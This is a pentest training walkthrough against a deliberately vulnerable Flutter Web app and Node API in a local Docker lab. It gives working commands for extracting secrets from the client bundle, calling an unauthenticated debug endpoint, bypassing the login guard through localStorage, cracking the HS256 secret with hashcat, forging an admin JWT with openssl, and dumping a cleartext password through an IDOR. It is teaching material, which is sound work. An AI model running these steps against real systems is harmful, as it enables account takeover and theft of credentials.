Cloud, mobile and IoT — Guided demo
We apply, on a deliberately vulnerable Flutter app, the 2026 mobile pentest mindset: the client is never a security boundary, everything that ships on the phone eventually gets out, and the real control lives on the API side.
What you will be able to do
- Recognize the five classic flaws of a poorly built Flutter app, by identifying them both from the bundle and from the API behavior.
- Chain those flaws into a short path and a long path.
- Know what to document in the report and what fix to expect from the developer.
Setup
The workshop uses a Docker lab under
labs/docker/module-11-mobile-flutter/. Three containers:
app— nginx serving the Flutter Web build onhttp://localhost:8080.api— Node/Express backend onhttp://localhost:3000.attaquant— Kali workstation (inskillsec/kali-lab) on the internal network10.20.40.0/24.
From the repo:
cd labs/docker/module-11-mobile-flutter
docker compose up -d
Check:
curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}
Open http://localhost:8080 in your browser: the Flutter Web login
page appears.
Step by step
1. Visual recon — DevTools open
Load the page, open the Network tab before signing in. Click
Sign in. You see a POST to
http://localhost:3000/api/auth/login with a JSON body
{"email":"...","password":"..."}. Take note of the domain, port,
and body structure: this is your map of the API.
2. Grep the bundle
The Flutter Web app loads main.dart.js. Fetch it manually:
curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js
Expected output:
var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';
Three discoveries in one command:
- The API URL (you already had it from DevTools, but this route works without a browser too).
- A premium API key that should never have been in the client.
- A debug endpoint the developer left in "for testing" and forgot.
Why that debug endpoint is a trap
On a real Flutter app, this kind of string comes out of a reFlutter
or blutter dump of the libapp.so file inside the APK. The result
is identical: the developer thinks Dart constants are "compiled", an
attacker recovers them in one command. The lesson is platform-agnostic.
3. Short path — /api/debug/env
The path /api/debug/env is not part of the app's logic, it requires
no authentication. You are already at destination:
curl -s http://localhost:3000/api/debug/env
Expected output:
{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}
You already have the flag. In a pentest report, this would be finding #1, exploitable by anyone, rated Critical. Document it.
4. Client-side bypass — dashboard without an account
Back in the browser. You have no token. Open the DevTools console:
localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';
The dashboard renders. After a second, it flips to "Session expired" and sends you back to login. Why?
- The client-side guard (
AuthService.isAuthenticated()) only checkslocalStorage.auth_token !== null. Writing any value passes. - The
GET /api/mecall with the fake token returns401, the page detects it and redirects.
Lesson: a client-side guard is a design device, not a security device. A developer who relies on it alone thinks they are protected; they are not.
5. Long path — HS256 crack + admin forge
Register a normal account to capture a JWT:
curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq
Extract the token. Decode the header and payload:
TOKEN="<returned token>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}
The header says HS256: the signature is an HMAC SHA-256 over
header.payload with a shared secret. The secret lives only on the
server side, but if it is weak, we can recover it by offline brute
force:
echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt
Cracked value: s3cr3t2025. Optionally, verify with openssl that
your token's signature matches this secret:
HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Must match what follows the second dot in $TOKEN.
Now forge a token with role=admin, sub=1:
NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"
6. IDOR — dump the cleartext admin password
You don't even need the forged JWT for IDOR: eve's normal token is enough, the API does not check ownership.
curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq
Expected output:
{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}
The password is cleartext on the backend side — second major hole to document. A real backend would store a bcrypt hash, but many amateur mobile apps store cleartext server-side.
7. Admin access — the flag through the front door
Finally, the admin endpoint:
curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq
Expected output:
{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}
Same flag as the short path, but obtained through the front door: this is what a real pentester would do to prove the complete chain, not just the trivial leak.
Reading the output
Three signals you must be able to state in front of a client:
- Every Dart constant ends up in the binary. If your backend
requires a secret, it has no business being in the mobile
client. On the Flutter Web bundle as in an
.apk, plain text search is enough. - HS256 is crackable as soon as the secret is not a random-generator
output.
s3cr3t2025falls in seconds. A strong secret is at least 32 random bytes, base64-encoded. Even better: switch to RS256 with a key pair, the private key stays on the server. - IDOR = auth without authorization. A valid token is not a
permission. Every endpoint that accepts an
:idmust verify that the caller owns or can see the resource.
Where things go wrong
- You type the wrong
curland the API returnsMissing token. Check the formatAuthorization: Bearer <token>, no stray quotes. - Hashcat says
Line-length exception: your file must contain the whole JWT (three dot-separated parts) on one line, not just the signature. - IDOR returns
404: check the requested ID actually exists.1,2,3are the seeds; further IDs are your own registrations.